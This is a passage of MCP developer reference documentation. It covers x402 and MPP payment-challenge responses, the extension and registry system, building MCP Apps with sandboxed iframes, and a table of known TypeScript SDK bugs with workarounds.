      Do not allocate anything new in `-32000..-32019` either: that sub-range is now **legacy**, and new implementations "**SHOULD NOT** use codes from this sub-range at all".
      
      ### x402 Payment Required (isError pattern)
      
      The bulk of the x402 MCP ecosystem uses `isError: true` tool results (not McpError) because of the `error.data` loss behavior described above. Breaking this format breaks existing x402 MCP clients.
      
      ```typescript
      // Payment challenge - returned when no credential present
      return {
        isError: true,
        content: [{ type: "text", text: JSON.stringify({
          x402Version: 2,
          error: "Payment required",
          accepts: [
            { scheme: "exact", network: "eip155:8453", price: "5000", payTo: "0x..." },
            { scheme: "exact", network: "solana:mainnet", price: "5000", payTo: "So1..." },
          ],
        })}],
        structuredContent: {
          x402Version: 2,
          error: "Payment required",
          accepts: [
            { scheme: "exact", network: "eip155:8453", price: "5000", payTo: "0x..." },
            { scheme: "exact", network: "solana:mainnet", price: "5000", payTo: "So1..." },
          ],
        },
      };
      ```
      
      ### Dual-Protocol Challenges (x402 + MPP)
      
      When supporting both x402 and MPP payment protocols on the same tool, embed both challenge types in the `isError` response. x402 clients read `accepts`, MPP clients read `org.paymentauth/challenges`. Unknown fields are ignored.
      
      ```typescript
      return {
        isError: true,
        content: [{ type: "text", text: JSON.stringify(challenge) }],
        structuredContent: {
          x402Version: 2,
          error: "Payment required",
          // x402 clients read this
          accepts: [{ scheme: "exact", network: "eip155:8453", price: "5000", payTo: "0x..." }],
          // MPP clients read this
          "org.paymentauth/challenges": [
            { id: "ch_abc", method: "tempo", intent: "charge", request: { amount: "5000" } },
          ],
        },
      };
      ```
      
      ### Credential Dispatch via _meta
      
      When clients retry with a credential, dispatch by `_meta` key:
      
      ```typescript
      async function paidToolHandler(args: unknown, extra: { _meta?: Record<string, unknown> }) {
        const meta = extra._meta ?? {};
      
        if (meta["x402/payment"]) {
          // x402 credential - verify and settle
          return await handleX402Payment(args, meta["x402/payment"]);
        }
      
        if (meta["org.paymentauth/credential"]) {
          // MPP credential - charge via tempo
          return await handleMppPayment(args, meta["org.paymentauth/credential"]);
        }
      
        // No credential - return payment challenge
        return paymentRequiredError(args);
      }
      ```
      
      ### Client Compatibility
      
      | Client | Reads `isError` challenges | Reads a JSON-RPC error code challenge (`-32042`) |
      |--------|---------------------------|------------------------|
      | x402MCPClient | Yes (via `structuredContent` then `content[0].text`) | No (crashes) |
      | x402-proxy | Yes | No (planned) |
      | agentpay-mcp | Yes | No |
      | MCPay | Yes | No |
      | Cloudflare agents/x402 | Yes | No |
      
      The ecosystem is standardized on `isError: true` tool results. Do not use McpError for payment challenges.
      
    • extensions-registry.md 15.7 KB
      # Extensions and Registry
      
      MCP extensions system, authorization extensions, and the MCP Registry.
      
      ## Table of Contents
      - [Extensions System](#extensions-system)
      - [Authorization Extensions](#authorization-extensions)
      - [MCP Registry](#mcp-registry)
      - [Server Capabilities Beyond Tools](#server-capabilities-beyond-tools)
      
      ## Extensions System
      
      Extensions are optional, strictly additive capabilities layered on the core MCP protocol. They enable modular features (auth), specialized behavior (domain-specific), and experimental incubation without changing the core spec.
      
      ### Three-Layer Architecture
      
      1. **MCP Core Specification** - baseline client-server interoperability
      2. **MCP Projects** - supporting infrastructure (Registry, Inspector)
      3. **MCP Extensions** - optional patterns for specialized use cases
      
      ### Extension Identifiers
      
      Format: `{vendor-prefix}/{extension-name}`
      
      | Prefix | Usage |
      |--------|-------|
      | `io.modelcontextprotocol` | Official extensions |
      | Reversed domain (e.g., `com.example`) | Third-party extensions |
      
      ### Official Extensions
      
      | Extension | Identifier | Status | Repo |
      |-----------|-----------|--------|------|
      | MCP Apps | `io.modelcontextprotocol/ui` | Stable (SEP-1865, 2026-01-26); SDK `ext-apps@2.0.0` 2026-09-08 | [ext-apps](https://github.com/modelcontextprotocol/ext-apps) |
      | OAuth Client Credentials | `io.modelcontextprotocol/oauth-client-credentials` | Draft | [ext-auth](https://github.com/modelcontextprotocol/ext-auth) |
      | Enterprise-Managed Auth | `io.modelcontextprotocol/enterprise-managed-authorization` | Stable (2026-06-18) | [ext-auth](https://github.com/modelcontextprotocol/ext-auth) |
      | Tasks | `io.modelcontextprotocol/tasks` | Official (SEP-2663, final 2026-05-15); repo dropped its "experimental" framing 2026-08-19, schema frozen Stable at `2026-07-28` | [ext-tasks](https://github.com/modelcontextprotocol/ext-tasks) |
      
      ### Negotiation
      
      **2025-era wires** - both sides declare extension support in `extensions` during initialization:
      
      ```json
      // Client (initialize request)
      {
        "capabilities": {
          "extensions": {
            "io.modelcontextprotocol/ui": { "mimeTypes": ["text/html;profile=mcp-app"] }
          }
        }
      }
      
      // Server (initialize response)
      {
        "capabilities": {
          "extensions": { "io.modelcontextprotocol/ui": {} }
        }
      }
      ```
      
      **On 2026-07-28** there is no `initialize`, so this exchange does not exist. Clients advertise extension support **per request**:
      
      > Clients advertise extension support in `_meta["io.modelcontextprotocol/clientCapabilities"]` within each request
      
      Servers advertise theirs in the `capabilities` of their `server/discover` result. The `extensions` field was added to both `ClientCapabilities` and `ServerCapabilities` in this revision.
      
      Each extension defines its settings schema. Empty object = no settings.
      
      **Graceful degradation**: If one side supports an extension but the other doesn't, fall back to core protocol behavior or reject with an error if mandatory. Always provide meaningful text content alongside UI-enhanced responses so non-supporting clients still work.
      
      ### Creating Extensions
      
      Official extensions follow the SEP (Specification Enhancement Proposal) process ([SEP-2133](https://modelcontextprotocol.io/seps/2133-extensions)):
      
      1. **Propose** - Create SEP with type "Extensions Track" per [SEP guidelines](https://modelcontextprotocol.io/community/sep-guidelines)
      2. **Implement** - Build at least one reference implementation in an official SDK (required before review)
      3. **Review** - Core Maintainers review and approve
      4. **Publish** - Add to extension repository
      5. **Adopt** - Other clients/servers implement
      
      Requirements:
      - RFC 2119 language (MUST, SHOULD, MAY)
      - Associated working group or interest group
      - Extensions always disabled by default - explicit opt-in required
      - SDKs choose which extensions to support (not required for conformance)
      
      ### Experimental Extensions
      
      Working Groups can incubate extensions in repos with `experimental-ext-` prefix within the MCP GitHub org. Requirements:
      - Associated with a Working Group or Interest Group
      - Clear experimental labeling in README and package name
      - Core Maintainer oversight (can archive/remove)
      - Graduate to official via standard SEP process
      
      ### Evolution
      
      Extensions evolve independently of the core protocol. Prefer capability flags or versioning within the extension settings over new identifiers. New identifier only for breaking changes (e.g., `io.modelcontextprotocol/my-extension-v2`).
      
      Breaking changes: removing/renaming fields, changing types, altering semantics, adding required fields.
      
      ### Client Support Matrix
      
      | Client | MCP Apps | OAuth Client Creds | Enterprise Auth |
      |--------|----------|-------------------|-----------------|
      | Claude (web + Desktop) | Yes | - | - |
      | ChatGPT | Yes | - | - |
      | VS Code Copilot | Yes | - | - |
      | Goose | Yes | - | - |
      | Postman | Yes | - | - |
      | MCPJam | Yes | - | - |
      | Microsoft 365 Copilot | Yes | - | - |
      | Cursor | Yes | - | - |
      | Archestra.AI | Yes | - | Yes |
      | PostHog Code | Yes | - | - |
      
      Enterprise-Managed Authorization reached **Stable** (2026-06-18); Archestra.AI is the first client shipping it. OAuth Client Credentials remains Draft with no client adoption yet - check the official [client matrix](https://modelcontextprotocol.io/extensions/client-matrix) and [ext-auth](https://github.com/modelcontextprotocol/ext-auth) for latest status.
      
      ## Authorization Extensions
      
      The core MCP spec includes OAuth 2.1 authorization (authorization code + PKCE) for interactive user consent. Auth extensions address scenarios where this doesn't fit.
      
      Source: [ext-auth repo](https://github.com/modelcontextprotocol/ext-auth)
      
      ### OAuth Client Credentials
      
      **Identifier**: `io.modelcontextprotocol/oauth-client-credentials`
      
      Machine-to-machine authentication via OAuth 2.1 client credentials flow. No user interaction required.
      
      **Use cases**: Background services/daemons, CI/CD pipelines, server-to-server API integrations.
      
      ### Enterprise-Managed Authorization
      
      **Identifier**: `io.modelcontextprotocol/enterprise-managed-authorization`
      
      Centralized access control via enterprise identity providers (IdPs). Employees access MCP servers through their organization's existing IdP without per-server authorization.
      
      **Use cases**: Enterprise employees at work, organization-wide MCP access policy enforcement.
      
      ### Decision Table
      
      | Scenario | Auth Approach |
      |----------|--------------|
      | Background service / daemon | OAuth Client Credentials |
      | CI/CD pipeline | OAuth Client Credentials |
      | Server-to-server integration | OAuth Client Credentials |
      | Enterprise employees at work | Enterprise-Managed Authorization |
      | Org-wide policy enforcement | Enterprise-Managed Authorization |
      | Standard interactive user auth | Core MCP spec (no extension needed) |
      
      Both use standard extension negotiation. Specified in [ext-auth/specification/draft](https://github.com/modelcontextprotocol/ext-auth/tree/main/specification/draft).
      
      ## MCP Registry
      
      The official centralized metadata repository for publicly accessible MCP servers. Currently in **preview**, but the API entered a **v0.1 freeze on 2025-10-24** with a stability commitment for integrators (no breaking changes during the freeze window). Backed by Anthropic, GitHub, PulseMCP, and Microsoft.
      
      ### What It Provides
      
      - Single place for server creators to publish metadata
      - Namespace management via DNS verification
      - REST API for clients and aggregators to discover servers
      - Standardized `server.json` format with name, location, execution instructions, capabilities
      
      ### Key Concepts
      
      **Not a package registry**: Hosts metadata that *points to* packages on npm, PyPI, Docker Hub, etc. Doesn't host code.
      
      **Namespace authentication**: Server names use reverse DNS format (`io.github.user/server-name`, `com.example/server`). Only verified owners (via GitHub account or DNS/HTTP challenge) can publish under their namespace.
      
      **Package types**: beyond npm, PyPI and Docker/OCI, the registry now accepts **Cargo** (crates.io only - *"For Cargo packages, the MCP Registry currently supports the official crates.io registry (`https://crates.io`) only"*), **NuGet**, and **MCPB** - *"prebuilt binary distributed via GitHub or GitLab Releases. End users need no toolchain."*
      
      **Ownership is proven from inside the package**, via an `mcp-name:` token in the published README. One gotcha bites Rust publishers specifically: *"Unlike PyPI and NuGet (which preserve HTML comments in their README rendering), **crates.io strips HTML comments during markdown -> HTML conversion**"* - so on crates.io the token has to be visible text, not a hidden comment.
      
      **Public servers only**: Private servers (internal networks, private registries) are not supported. Self-host for those.
      
      **Aggregator-first design**: Intended for consumption by downstream aggregators (marketplaces, catalogs) via REST API, not direct use by host applications. Aggregators poll periodically (e.g., hourly).
      
      **OpenAPI spec**: Other registries can implement the same [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) for standardized host application support.
      
      ### Publishing
      
      Quickstart: [modelcontextprotocol.io/registry/quickstart](https://modelcontextprotocol.io/registry/quickstart)
      
      Automate with GitHub Actions: [modelcontextprotocol.io/registry/github-actions](https://modelcontextprotocol.io/registry/github-actions)
      
      Server metadata is `server.json` containing: unique name, location (npm package, remote URL), execution instructions (args, env vars), description, capabilities.
      
      ### Trust and Security
      
      - **Namespace verification** prevents impersonation
      - **Security scanning** delegated to underlying package registries (npm, PyPI, Docker Hub) and downstream aggregators
      - **Spam prevention**: namespace auth requirements, character limits/validation, manual takedown by maintainers
      
      ### Versioning
      
      Servers are versioned within the registry. See [versioning guide](https://modelcontextprotocol.io/registry/versioning) for release management.
      
      ## Server Capabilities Beyond Tools
      
      The spec includes server-to-client request capabilities. Elicitation and Progress are core protocol features; Sampling is Deprecated (SEP-2577) and Tasks has moved to an official extension (SEP-2663).
      
      > **Shape change on 2026-07-28.** Servers can no longer send requests to clients at all. Elicitation and sampling are reached through **Multi Round-Trip Requests**: the tool returns an `InputRequiredResult` carrying `inputRequests`, and the client answers with `inputResponses` on a retry of the original request. The `ctx.mcpReq.*` call style below is the 2025-era API - still what the SDK does by default. See `references/spec-2026-07-28.md`.
      
      ### Elicitation
      
      Request structured user input mid-tool-execution. Server sends a schema, client prompts the user, returns the response.
      
      ```typescript
      // v2 API
      const input = await ctx.mcpReq.elicitInput({
        message: "Please confirm the operation",
        requestedSchema: {
          type: "object",
          properties: { confirm: { type: "boolean" } },
        },
      });
      ```
      
      Related SEPs: [#1034](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1034) (default values), [#1036](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1036) (URL mode for out-of-band interactions), [#1330](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1330) (enum improvements).
      
      ### Sampling
      
      > **Advisory-deprecated.** [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) (final, 2026-05-15) deprecates Sampling along with Roots and Logging. No wire-level changes - the feature stays functional for 1+ year - but adoption is low and it is complex to implement (human-in-the-loop, model selection, security). Do not build new servers that depend on it.
      
      Request an LLM completion from the client. Enables agentic patterns where tools delegate reasoning to the model.
      
      ```typescript
      // v2 API
      const response = await ctx.mcpReq.requestSampling({
        messages: [{ role: "user", content: { type: "text", text: "Summarize this data" } }],
        maxTokens: 100,
      });
      ```
      
      **Sampling with tools is released, not proposed.** SEP-1577 landed in the 2026-07-28 schema: `CreateMessageRequest` carries `tools?: Tool[]` and `toolChoice?: ToolChoice`, with `ToolUseContent`/`ToolResultContent` for the exchange. It is gated on a sub-capability - *"The client MUST return an error if this field is provided but `ClientCapabilities.sampling.tools` is not declared. Default is `{ mode: \"auto\" }`."*
      
      **Capabilities have sub-flags now.** Both sampling and elicitation are structured rather than boolean, so "the client supports elicitation" is not a single fact to check:
      
      ```typescript
      elicitation?: { form?: JSONObject; url?: JSONObject; };
      sampling?:    { context?: JSONObject; tools?: JSONObject; };
      ```
      
      Check the specific sub-flag you need (`elicitation.url` for out-of-band flows, `sampling.tools` for tool-augmented sampling) before relying on it.
      
      ### Tasks (SEP-2663)
      
      Long-running operations with lifecycle management - progress tracking, cancellation, and status updates for operations spanning multiple requests. [SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663) (final, 2026-05-15) supersedes the earlier SEP-1686 proposal: Tasks moved out of the core `2025-11-25` spec (the experimental `tasks` feature there is removed) into the official `io.modelcontextprotocol/tasks` extension. A server may answer a `tools/call` with an async task handle instead of a final result; the client **polls** via `tasks/get` and `tasks/update` (`tasks/cancel` to abort). The redesign drops the blocking `tasks/result` and `tasks/list` methods and allows servers to return task handles unsolicited.
      
      **Canonical source**: the [ext-tasks repo](https://github.com/modelcontextprotocol/ext-tasks) holds the full specification, with docs at [/docs/extensions/tasks/overview](https://modelcontextprotocol.io/docs/extensions/tasks/overview). The stale "experimental" README banner was removed on 2026-08-19; the repo now opens *"This repository contains the official Model Context Protocol Tasks extension"* and pins an immutable `2026-07-28` Stable schema snapshot.
      
      **Three rules that changed or are easy to miss:**
      
      - **Missing-capability code is now `-32021`, renumbered from `-32003`.** *"If a server is unable to service a request to a client that does not declare this extension capability without returning `CreateTaskResult`, the server **MUST** return an error with the code `-32021` (Missing Required Client Capability), indicating the required extension."* Tasks is per-request opt-in: to a client that did not declare it, answer synchronously or return `-32021` - never a task handle it cannot poll.
      - **Authorize every task request, not just task creation.** *"Servers **MUST** perform authentication and authorization checks on each task-related request to ensure that the client has permission to access a task."* And because a task ID may function as a bearer token for stored state, servers **MUST** generate them *"with sufficient entropy that a third party cannot enumerate or guess them"* - the same discipline as the stateful-tool handles in `SKILL.md`.
      - **`CreateTaskResult` must not outrun durability.** A server **MUST NOT** return it *"until the task is durably created - that is, until a `tasks/get` for the returned `taskId` would resolve"*, waiting for consistency in eventually-consistent stores. That removes the need for clients to speculatively poll.
      
      In TypeScript SDK v2 the entire 2025-era task wire vocabulary is `@deprecated` - importable for backwards compatibility, but excluded from the typed method maps (`RequestMethod`, `RequestTypeMap`, `ResultTypeMap`, `NotificationTypeMap` carry no `tasks/*` entries), and removable at the major version that drops 2025-era support.
      
      ### Progress
      
      Report incremental progress on any request:
      
      ```typescript
      // v2 API
      await ctx.mcpReq.sendProgress({ progress: 50, total: 100 });
      ```
      
    • mcp-apps.md 12.4 KB
      # MCP Apps
      
      Interactive HTML interfaces rendered inside MCP hosts. The MCP Apps spec (SEP-1865) reached **Stable** status on 2026-01-26 as the first official MCP extension (`io.modelcontextprotocol/ui`).
      
      > **`@modelcontextprotocol/ext-apps` 2.0.0 (2026-09-08) is a breaking release - of the TypeScript API, not the protocol.** *"The MCP Apps wire protocol is unchanged: 2.x Views run in 1.x hosts and 2.x hosts render 1.x Views (covered by a test that runs the published 1.7.5 against this release in both directions). What breaks is dependencies and the TypeScript API."* You can upgrade either side independently. See [Migrating to 2.0](https://github.com/modelcontextprotocol/ext-apps/blob/main/docs/migrate-to-2.md).
      
      ## Upgrading to ext-apps 2.0
      
      | Change | Detail |
      |---|---|
      | **Peer packages** | `@modelcontextprotocol/sdk@^1` is replaced by `@modelcontextprotocol/client@^2.0.0` (required - `App` and `AppBridge` extend its `Protocol`) and `@modelcontextprotocol/server@^2.0.0` (optional, only for the `./server` helpers). Node.js 20+. |
      | **Zod** | **zod 3 is dropped**; the peer range is `zod@^4.2.0`. Schemas must implement Standard JSON Schema (`~standard.jsonSchema`) - *"zod 4.0 and 4.1 do not expose `~standard.jsonSchema`"*, so 4.2.0 is a real floor, not a suggestion. ArkType and Valibot also qualify. |
      | **Handler context** | *"Custom handlers receive the SDK 2.x `BaseContext`: `extra.signal` is now `extra.mcpReq.signal`, `extra.requestId` is `extra.mcpReq.id`."* |
      | **Registration** | The 1.x `(Schema, handler)` form *"still works as a deprecated overload with a one-time warning ... and goes away in 3.0."* Move to the config-object form now. |
      
      The examples below use the v1-era imports (`@modelcontextprotocol/sdk/...`), which remain correct on the 1.x line. On 2.x, import `McpServer` and the transport from `@modelcontextprotocol/server` exactly as in `v2-migration.md`, and install `@modelcontextprotocol/ext-apps @modelcontextprotocol/server @modelcontextprotocol/client zod@^4.2.0` instead of the 1.x pair.
      
      ## Table of Contents
      - [Architecture](#architecture)
      - [Server Implementation](#server-implementation)
      - [UI Implementation](#ui-implementation)
      - [Project Setup](#project-setup)
      - [CSP and Security](#csp-and-security)
      - [Testing](#testing)
      - [When to Use](#when-to-use)
      - [Client Support](#client-support)
      
      ## Architecture
      
      MCP Apps combine two MCP primitives: a **tool** that declares a UI resource in its metadata, and a **resource** that serves HTML rendered in a sandboxed iframe.
      
      ### Flow
      
      1. **Tool registration**: Tool includes `_meta.ui.resourceUri` pointing to a `ui://` resource
      2. **UI preloading**: Host can preload the resource before the tool is called (enables streaming inputs to the app)
      3. **Resource fetch**: Host fetches the HTML from the server via `resources/read`
      4. **Sandboxed rendering**: Host renders HTML in a sandboxed iframe (no parent DOM/cookie/storage access)
      5. **Bidirectional communication**: App and host communicate via postMessage using a JSON-RPC dialect of MCP
      
      ```
      Agent ──tools/call──────> MCP Server
      Agent <──result────────── MCP Server
      Agent ──result pushed────> MCP App (iframe)
      User  ──interaction──────> MCP App (iframe)
      App   ──tools/call───────> Agent ──> MCP Server
      Agent <──result────────── MCP Server
      Agent ──result───────────> MCP App (iframe)
      App   ──context update───> Agent (updates model context)
      ```
      
      ### Key Packages
      
      | Package | Purpose |
      |---------|---------|
      | `@modelcontextprotocol/ext-apps` | Server helpers (`registerAppTool`, `registerAppResource`) + client `App` class |
      | `@mcp-ui/client` | React components for hosts rendering MCP Apps ([docs](https://mcpui.dev/)) |
      
      ## Server Implementation
      
      ```typescript
      import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
      import {
        registerAppTool,
        registerAppResource,
        RESOURCE_MIME_TYPE,
      } from "@modelcontextprotocol/ext-apps/server";
      import fs from "node:fs/promises";
      import path from "node:path";
      
      const server = new McpServer({ name: "My App Server", version: "1.0.0" });
      
      // ui:// scheme tells hosts this is an MCP App resource
      const resourceUri = "ui://my-tool/mcp-app.html";
      
      // Register tool with UI metadata
      registerAppTool(server, "my-tool", {
        title: "My Tool",
        description: "Does something and shows an interactive UI",
        inputSchema: { query: z.string().describe("Search query") },
        _meta: { ui: { resourceUri } },
      }, async ({ query }) => {
        const result = await doWork(query);
        return { content: [{ type: "text", text: JSON.stringify(result) }] };
      });
      
      // Register resource serving bundled HTML
      // Signature: registerAppResource(server, name, uri, config, readCallback)
      registerAppResource(server, "my-app-ui", resourceUri, {
        mimeType: RESOURCE_MIME_TYPE,
      }, async () => {
        const html = await fs.readFile(
          path.join(import.meta.dirname, "dist", "mcp-app.html"), "utf-8"
        );
        return { contents: [{ uri: resourceUri, mimeType: RESOURCE_MIME_TYPE, text: html }] };
      });
      ```
      
      **Key points**:
      - `registerAppTool` sets `_meta.ui.resourceUri` on the tool definition
      - `registerAppResource(server, name, uri, config, readCallback)` - the `name` is a human-readable label, distinct from the `ui://` URI
      - `RESOURCE_MIME_TYPE` = `text/html;profile=mcp-app`
      - The `ui://` path structure is arbitrary - organize however makes sense
      
      ### Express Server Boilerplate
      
      ```typescript
      import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
      import cors from "cors";
      import express from "express";
      
      const app = express();
      app.use(cors());
      app.use(express.json());
      
      app.post("/mcp", async (req, res) => {
        const transport = new StreamableHTTPServerTransport({
          sessionIdGenerator: undefined,
          enableJsonResponse: true,
        });
        res.on("close", () => transport.close());
        await server.connect(transport);
        await transport.handleRequest(req, res, req.body);
      });
      
      app.listen(3001);
      ```
      
      ## UI Implementation
      
      ```html
      <!-- mcp-app.html -->
      <!DOCTYPE html>
      <html lang="en">
      <head><meta charset="UTF-8" /><title>My App</title></head>
      <body>
        <div id="app">Loading...</div>
        <button id="refresh">Refresh</button>
        <script type="module" src="/src/mcp-app.ts"></script>
      </body>
      </html>
      ```
      
      ```typescript
      // src/mcp-app.ts
      import { App } from "@modelcontextprotocol/ext-apps";
      
      const app = new App({ name: "My App", version: "1.0.0" });
      
      // Establish communication with host (call once on init)
      app.connect();
      
      // Handle initial tool result pushed by host
      app.ontoolresult = (result) => {
        const text = result.content?.find((c) => c.type === "text")?.text;
        document.getElementById("app")!.textContent = text ?? "[ERROR]";
      };
      
      // Proactively call tools from UI interactions
      document.getElementById("refresh")!.addEventListener("click", async () => {
        const result = await app.callServerTool({
          name: "my-tool",
          arguments: { query: "updated" },
        });
        const text = result.content?.find((c) => c.type === "text")?.text;
        document.getElementById("app")!.textContent = text ?? "[ERROR]";
      });
      ```
      
      ### App Class API (ext-apps v1.7+, unchanged in 2.0)
      
      Verified against [`src/app.ts`](https://github.com/modelcontextprotocol/ext-apps/blob/main/src/app.ts).
      
      | Method | Purpose |
      |--------|---------|
      | `app.connect()` | Establish postMessage communication with host (call once on init) |
      | `app.ontoolresult` | Callback when host pushes a tool result to the app |
      | `app.callServerTool({ name, arguments })` | Call any tool on the MCP server |
      | `app.readServerResource({ uri })` / `listServerResources()` | Resource access from the view |
      | `app.sendLog(params)` | Emit a `LoggingMessageNotification` to the host |
      | `app.openLink(params)` | Request the host to open a URL |
      | `app.updateModelContext(...)` | Update model context with structured data from the view |
      | `app.createSamplingMessage(...)` | Sampling support via stock SDK types (added v1.7.0) |
      | `app.registerTool(...)` / `app.sendToolListChanged()` | Views can expose tools for the host to call (WebMCP-style, added v1.7.0) |
      | `app.requestDisplayMode(...)` / `requestTeardown(...)` / `sendSizeChanged(...)` / `downloadFile(...)` | Host-coordination helpers |
      
      `AppOptions.allowUnsafeEval` (default `false`, added v1.7.0) sets `z.config({ jitless: true })` so views run under strict CSP without `unsafe-eval`.
      
      The `App` class is a convenience wrapper, not a requirement. You can implement the [postMessage protocol](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/2026-01-26/apps.mdx) directly.
      
      ## Project Setup
      
      ### Directory Structure
      
      ```
      my-mcp-app/
      ├── package.json
      ├── tsconfig.json
      ├── vite.config.ts
      ├── server.ts          # MCP server with tool + resource
      ├── mcp-app.html       # UI entry point
      └── src/
          └── mcp-app.ts     # UI logic
      ```
      
      ### Dependencies
      
      ```bash
      npm install @modelcontextprotocol/ext-apps @modelcontextprotocol/sdk
      npm install -D typescript vite vite-plugin-singlefile express cors @types/express @types/cors tsx
      ```
      
      ### Configuration
      
      ```json
      // package.json
      {
        "type": "module",
        "scripts": {
          "build": "INPUT=mcp-app.html vite build",
          "serve": "npx tsx server.ts"
        }
      }
      ```
      
      ```typescript
      // vite.config.ts
      import { defineConfig } from "vite";
      import { viteSingleFile } from "vite-plugin-singlefile";
      
      export default defineConfig({
        plugins: [viteSingleFile()],
        build: {
          outDir: "dist",
          rollupOptions: { input: process.env.INPUT },
        },
      });
      ```
      
      `vite-plugin-singlefile` bundles all CSS/JS into a single HTML file, avoiding CSP issues. Optional - you can serve unbundled files if you [configure CSP](https://apps.extensions.modelcontextprotocol.io/api/documents/Patterns.html#configuring-csp-and-cors).
      
      ### Build and Run
      
      ```bash
      npm run build && npm run serve
      ```
      
      ## CSP and Security
      
      MCP Apps render in sandboxed iframes with **deny-by-default CSP**. The sandbox prevents:
      - Accessing parent window DOM
      - Reading host cookies or localStorage
      - Navigating the parent page
      - Executing scripts in parent context
      
      All communication goes through postMessage. The host controls which capabilities the app can access.
      
      **External resources** (CDN scripts, fonts, APIs): Configure via `_meta.ui.csp` in tool registration, or bundle everything into a single HTML file.
      
      **Additional capabilities** (microphone, camera): Request via `_meta.ui.permissions` in tool registration.
      
      ## Testing
      
      ### With basic-host (local development)
      
      ```bash
      git clone https://github.com/modelcontextprotocol/ext-apps.git
      cd ext-apps/examples/basic-host && npm install
      SERVERS='["http://localhost:3001/mcp"]' npm start
      # Navigate to http://localhost:8080
      ```
      
      ### With Claude (via cloudflared tunnel)
      
      ```bash
      # Terminal 1: Run your server
      npm run build && npm run serve
      
      # Terminal 2: Expose to internet
      npx cloudflared tunnel --url http://localhost:3001
      ```
      
      Copy the generated URL and add as a custom connector in Claude: Profile > Settings > Connectors > Add custom connector. Requires paid Claude plan (Pro, Max, or Team).
      
      ## When to Use
      
      MCP Apps fit when your use case involves:
      - **Complex data exploration** - interactive charts, maps, drill-down views
      - **Multi-option configuration** - forms with validation, defaults, interdependencies
      - **Rich media** - PDF viewers, 3D models, image previews, video players
      - **Real-time monitoring** - live dashboards, logs, system status
      - **Multi-step workflows** - approval flows, triage, code review
      
      If you don't need conversation-integrated UI, a regular web app is simpler.
      
      ## Client Support
      
      | Client | MCP Apps |
      |--------|----------|
      | Claude (web + Desktop) | Yes |
      | ChatGPT | Yes |
      | VS Code Copilot | Yes |
      | Goose | Yes |
      | Postman | Yes |
      | MCPJam | Yes |
      | Microsoft 365 Copilot | Yes |
      | Cursor | Yes |
      | Archestra.AI | Yes |
      | PostHog Code | Yes |
      
      Current list: [official client matrix](https://modelcontextprotocol.io/extensions/client-matrix).
      
      ### Framework Templates
      
      The [ext-apps repo](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples) includes starters for React, Vue, Svelte, Preact, Solid, and vanilla JS.
      
      ### Building a Host
      
      Two approaches for rendering MCP Apps in your own client:
      1. **`@mcp-ui/client`** - React components ([docs](https://mcpui.dev/))
      2. **App Bridge** - SDK module for iframe rendering, message passing, tool proxying, security ([docs](https://apps.extensions.modelcontextprotocol.io/api/modules/app-bridge.html))
      
      Full API documentation: [apps.extensions.modelcontextprotocol.io](https://apps.extensions.modelcontextprotocol.io/api/)
      
    • sdk-bugs.md 6.9 KB
      # Known SDK Bugs
      
      Open and recently-fixed defects in the TypeScript SDK that change how you write server code. Status verified against `@modelcontextprotocol/sdk@1.30.0` (legacy line) and `@modelcontextprotocol/server@2.0.0`.
      
      `SKILL.md` carries the must-know entries inline; this is the full table with status and workarounds.
      
      | Issue | Severity | Status | Workaround |
      |-------|----------|--------|------------|
      | [#2721](https://github.com/modelcontextprotocol/typescript-sdk/issues/2721) / [#2677](https://github.com/modelcontextprotocol/typescript-sdk/issues/2677) - v1 emits `$schema: draft-07`, strict 2020-12 clients reject the tool | High | **Open**, v1 only - v2 pins `JSON_SCHEMA_CONVERSION_TARGET = 'draft-2020-12'` | Move to v2, or post-process your `tools/list` output to strip or rewrite `$schema`. Reproduced against the official reference servers, which are still on `sdk@^1.30.0` |
      | [#2636](https://github.com/modelcontextprotocol/typescript-sdk/issues/2636) - zod 3 -> 4 silently drops `additionalProperties: false` | High | **Open** | Assert on your published `tools/list` output, not on the Zod source. A schema that was strict under zod 3 becomes open under zod 4 with no error anywhere |
      | [#2705](https://github.com/modelcontextprotocol/typescript-sdk/issues/2705) - `registerTool` with a raw shape never runs `refine`/`superRefine`/`transform` | High | **Open** (observed on 1.30.0) | Pass a real `z.object()`, and re-validate inside the handler with `safeParse` when a constraint is security-critical. This is fail-**open**: input your schema rejects passes the server gate |
      | [#2607](https://github.com/modelcontextprotocol/typescript-sdk/issues/2607) - v2 `createMcpHandler` + reused `McpServer` grows an unbounded `onclose` chain | High | **Open**, affects released `server@2.0.0` | Per-request `McpServer`. Symptoms are a slow leak, then `RangeError: Maximum call stack size exceeded` at ~19-25k accumulated sessions |
      | [#2650](https://github.com/modelcontextprotocol/typescript-sdk/issues/2650) - v2 `subscriptions/listen` never closes a stream with an empty honored set | Medium | **Open** | If you advertise no `listChanged` capabilities and no `resources.subscribe`, the honored set is `{}`, the stream can carry nothing, and nothing closes it. Close it yourself or don't route `subscriptions/listen` |
      | [#2622](https://github.com/modelcontextprotocol/typescript-sdk/issues/2622) - `capabilities.tools.listChanged: false` silently overridden to `true` | Low | **Open** | The constructor value never reaches the wire once any tool is registered. Don't rely on advertising `false` |
      | [#2723](https://github.com/modelcontextprotocol/typescript-sdk/issues/2723) - `remove()` is a no-op after a rename, entry stays live and callable | Medium | **Open** - prompts/resources/templates on `main`; all four including tools on `v1.x` | Verify removal against a real `*/list` call rather than trusting the return |
      | [#2605](https://github.com/modelcontextprotocol/typescript-sdk/issues/2605) - `AjvJsonSchemaValidator.getValidator()` recompiles `$id`-less schemas on every call | Medium | **Open** (memory leak) | Give schemas an `$id` |
      | [#1643](https://github.com/modelcontextprotocol/typescript-sdk/issues/1643) - `z.union()`/`z.discriminatedUnion()` silently dropped | High | Fixed in the v2 line ([PR #1796](https://github.com/modelcontextprotocol/typescript-sdk/pull/1796)); v1.x backport [PR #2017](https://github.com/modelcontextprotocol/typescript-sdk/pull/2017) **still open** | Use flat `z.object()` + `z.enum()`. Present on **every released v1 including v1.30.0** (still routed through `normalizeObjectSchema`) |
